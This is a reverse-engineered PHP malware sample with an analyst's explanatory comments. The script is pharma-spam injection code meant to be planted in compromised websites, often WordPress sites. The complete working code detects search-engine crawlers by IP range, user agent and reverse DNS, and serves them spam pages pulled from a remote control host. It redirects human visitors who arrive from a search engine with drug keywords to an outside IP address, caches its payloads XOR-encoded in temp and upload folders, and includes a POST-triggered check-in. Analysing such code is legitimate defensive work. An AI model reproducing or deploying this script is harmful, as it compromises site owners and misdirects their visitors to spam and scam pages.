reverse of mal script

if (!defined('frmDs')){
	define('frmDs' ,1);
	error_reporting(0);

	//XOR file by each character
	function frm_crpt($in)
	{
		$il=strlen($in);
		$o='';

		//loop through each character
		for ($i = 0; $i < $il; $i++)
		{
			//XOR character
			$o.=$in[$i] ^ '*';
		}
		return $o;
	}

	//store local cache copy of X as encrypted file
	function frm_getcache($tmpdir,$link,$cmtime,$toe=false)
	{
		//filename = sess_(md5 hash of page url) in temp directory
		$f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));
		$fe = file_exists($f);
		if(!$fe || time() - filemtime($f) > 60 * $cmtime)
		{
			//download contents of page from remote url
			$dlc=file_get_contents($link);

			//if file exists and couldnt get contents from remote url
			if($fe && $dlc===false)
				//update last modified timestamp in file system
				@touch($f);
			else
			{
				//if file exists and couldnt get contents from remote url and $toe set false(ignore updates)
				if($fe && empty($dlc) && $toe)
				{
					//update last modified timestamp in file system
					@touch($f);
				}
				else
				{
					if($fp = @fopen($f,'w'))
					{
						//write contents of cached page as XOR'd contents
						fwrite($fp, frm_crpt($dlc));
						//close file pointer
						fclose($fp);
					}
					else
					{
						//return file contents
						return $dlc;
					}
				}
			}
		}
		$fc = @file_get_contents($f);
		return ($fc)?frm_crpt($fc):'';
	}

	//check if page request is coming from search engine or legit browser
	function frm_isbot(){
		//set $ua to the user agent string of the requesting http client (could be bot, or browser)
		$ua=@strtolower($_SERVER['HTTP_USER_AGENT']);

		//can we get the ip address of the requesting client, if so, set to $lip
		//if the operation of setting $lip failed, add the long version of 256.0.0.0 to $lip
		if(($lip = ip2long($_SERVER['REMOTE_ADDR'])) < 0)
		{
			$lip+=4294967296;
		}
		$rs = array(
					array(3639549953,3639558142), //216.239.32.1 216.239.63.254 google
					array(1089052673,1089060862), //64.233.160.1 64.233.191.254 google
					array(1123635201,1123639294), //66.249.80.1 66.249.95.254 google
					array(1208926209,1208942590), //72.14.192.1 72.14.255.254 google
					array(3512041473,3512074238), //209.85.128.1 209.85.255.254 google
					array(1113980929,1113985022), //66.102.0.1 66.102.15.254 google
					array(1249705985,1249771518), //74.125.0.1 74.125.255.254 google
					array(1074921473,1074925566), //64.18.0.1 64.18.15.254 postini
					array(3481178113,3481182206), //207.126.144.1 207.126.159.254 postini
					array(2915172353,2915237886), //173.194.0.1 173.194.255.254 google
					array(2850291712,2850357247)  //169.228.0.0 169.228.255.255 university of california san diego
				);

		//loop through $rs and check that requester doesnt belong to unfriendly ip range
		foreach ($rs as $r)
		{
			if($lip >= $r[0] && $lip <= $r[1])
			{
				return true;
			}
		}

		//if the requestor has a blank user agent, assume unfriendly to script
		if(!$ua)
		{
			return true;
		}

		//bots to check for
		$bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider');

		//if the user agent has any of these bot names in their user agent string, assume unfriendly to script
		foreach ($bots as $b) if(strpos($ua, $b)!==false)
		{
			return true;
		}

		//reverse dns lookup of the requesting client and set to $h
		$h=@gethostbyaddr($_SERVER['REMOTE_ADDR']);

		//array of unfriendly hostnames
		$hba=array('google','msn','yahoo');

		//compare unfriendly hostnames to reverse dns lookup of client, if match, assume unfriendly to script
		if($h) foreach ($hba as $hb) if(strpos($h, $hb)!==false)
		{
			return true;
		}
		return false;
	}

	//cleanup files in temp directory locations and return the path of the first found temp directory location
	function frm_tmpdir(){
		$fs = array('/tmp','/var/tmp','./wp-content/cache','./wp-content/uploads','./tmp','./cache','./images');
        foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {
            if ($t = getenv($v)) {$fs[]=$t;}
        }
        if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}
        $fs[]='.';

        foreach ($fs as $f){
        	$tf = $f.'/'.md5(rand());
        	if($fp = @fopen($tf, 'w')){
        		fclose($fp);
        		unlink($tf);
        		return $f;
        	}
        }
		return false;
	}

	//did the user come in from a search engine
	function frm_seref(){
		$r = @strtolower($_SERVER["HTTP_REFERER"]);
		$ses = array('google','bing','yahoo','ask','aol');
		foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true;
		return false;
	}

	function frm_havekey($hasKey=false){
		$nks = explode('|','abilify|albenza|aldactone|amoxil|antabuse|apcalis|atarax|baclofen|bactrim|bimatoprost|buspar|celebrex|celexa|cialis|cipro|clomid|desyrel|diflucan|doxycycline|elavil|erectalis|eriacta|erythromycin|finpecia|flagyl|glucophage|inderal|kamagra|lasix|levaquin|levitra|lexapro|megalis|mobic|motilium|nexium|nolvadex|orlistat|paxil|penisole|periactin|premarin|priligy|propecia|proscar|proventil|retin-a|robaxin|seroquel|silagra|sildalis|silvitra|strattera|stromectol|p-force|synthroid|tadacip|tadalis|tadapox|tenormin|tetracycline|topamax|valtrex|ventolin|viagra|vigora|wellbutrin|zanaflex|zenegra|zithromax|sildenafil|tadalafil|vardenafil|zovirax');

		if($s == false)
			$hasKey = @strtolower($_SERVER["HTTP_REFERER"].$_SERVER["REQUEST_URI"]);

		//sanitize non relevant page requests from mass googledorking like "site:" or "inurl:"
		if (strpos($hasKey,"site%3A") !==false || strpos($hasKey,"inurl%3A") !== false)
			return '';

		//check to see if page url or search string contains any of our keywords
		foreach ($nks as $n)
		{
			//regex match btw, incase anyone doesnt know what this lame shit looks like
			if(preg_match("/(\b|_)$n(\b|_)/" , $hasKey))
			{
				return $n;
			}
		}
		return '';
	}

	//string encryption function
	function frm_strtonum($Str, $Check, $Magic) {
		//not sure why this is interesting but this ladies and gentlemen is a long ip 256.0.0.0 = 4294967296
		$Int32Unit = 4294967296;

		$length = strlen($Str);
		//loop each character in string
		for ($i = 0; $i < $length; $i++)
		{
			//multiply our primes
			$Check *= $Magic;

			//if $check is greater than our floor
			if ($Check >= $Int32Unit)
			{
				$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
				$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
			}

			//append ASCII value to encrypted output string
			$Check += ord($Str{$i});
		}
		return $Check;
	}

	function frm_chhash($String) {
		$Check1 =frm_strtonum($String, 0x1505, 0x21); //0x21 prime 33
		$Check2 = frm_strtonum($String, 0, 0x1003F); //0x1003F prime 65599
		$Check1 >>= 2;
		$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
		$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
		$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
		$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
		$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
		$Hashnum = ($T1 | $T2);
		$CheckByte = 0;
		$Flag = 0;
		$HashStr = sprintf('%u', $Hashnum) ;
		$length = strlen($HashStr);
		for ($i = $length - 1;  $i >= 0;  $i --) {
			$Re = $HashStr{$i};
			if (1 === ($Flag % 2)) {
				$Re += $Re;
				$Re = (int)($Re / 10) + ($Re % 10);
			}
			$CheckByte += $Re;
			$Flag ++;
		}
		$CheckByte %= 10;
		if (0 !== $CheckByte) {
			$CheckByte = 10 - $CheckByte;
			if (1 === ($Flag % 2) ) {
				if (1 === ($CheckByte % 2)) {
					$CheckByte += 9;
				}
				$CheckByte >>= 1;
			}
		}
		return '7'.$CheckByte.$HashStr;
	}

	//get pagerank of url
	function frm_chpr($url,$td){
		$ch=frm_chhash($url);
		$res=frm_getcache($td,"http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&ch=$ch&q=info:$url",60*24*7);
		if(($pos = strpos($res, "Rank_"))!==false) return substr($res,9,1);
	}

	//redirects to stat incrimenter or command and control node?
	function frm_red($hasKey){
		if(!frm_isbot() && frm_seref()){
			$r=@urlencode($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
			$s=@urlencode($_SERVER['HTTP_REFERER']);
			die("<!DOCTYPE html><html><body><script>document.location=(\"http://178.73.212.30/stat/go.php?k=$hasKey&s=$s&r=$r\");</script></body></html>");
		}
	}




	//actual work begins here
	//get path of temp directory
	$tdir = frm_tmpdir();
	//set $isb to whether or not requesting browser is a known search engine bot
	$isb=frm_isbot();

	//check if referring search or requested page urls contain certain words
	$hasKey=frm_havekey();

	//get the host name of the website that is running this script
	$host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST']));

	//if post variable set for current domain + ch, end execution and print out value of post variable at md5 key
	if($cv=@$_POST[md5($host . 'ch')])
	{
		exit($cv);
	}

	//if the temp directory is set and hostname is less than 100 characters in length and url of page running script is not an ip address
	if($tdir && strlen($host)<100 && !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host))
	{
		$parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host.'p1')))),0,3);
		$sp = "http://todjzncave.byinter.net/stat/feed.php?pa=$parg&h=$host";

		//if the incoming request is from a bot and the pagerank of the requested page - verify success
		$tp=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
		if($isb && ($ppr = frm_chpr($tp)) > 1)
		{
			//if the page is not in cache then exit
			$pc=frm_getcache($tdir, $sp."&a=l&p=".urlencode($tp)."&pr=$ppr",60*24);
			if($pc)
			{
				die($pc);
			}
		}

		//set the page requested to $ruri
		$ruri = strtolower($_SERVER['REQUEST_URI']);

		//if wordpress install does not use permalinks increment stat counter and display page from pagecache
		$pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0;
		if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){
			frm_red($hasKey);
			die(frm_getcache($tdir, $sp."&p=$pageid",60*24,true));
		}

		//if requested page is the homepage of the site, display page from pagecache
		if (($ruri=='/' || $ruri=='/index.php') && $isb) {
			$c=frm_getcache($tdir, $sp ,60*24);
			if($c)
			{
				die($c);
			}
		}

		//if requested page is the homepage of the site, increment stat counter and display page from pagecache
		if($hasKey && $sdl = frm_getcache($tdir, $sp."&a=s", ($isb ? 30 : 60*24*7) ,true)){
			if(strpos($sdl, '|'.$ruri.'|') !== false)
			{
				frm_red($hasKey);
				die(frm_getcache($tdir, $sp."&a=s&p=".urlencode($ruri),60*24*7,true));
			}
		}
	}
	//no temp directory or long url but url still contains keyword we want to redirect on event
	if($hasKey)
	{
		frm_red($hasKey);
	}
}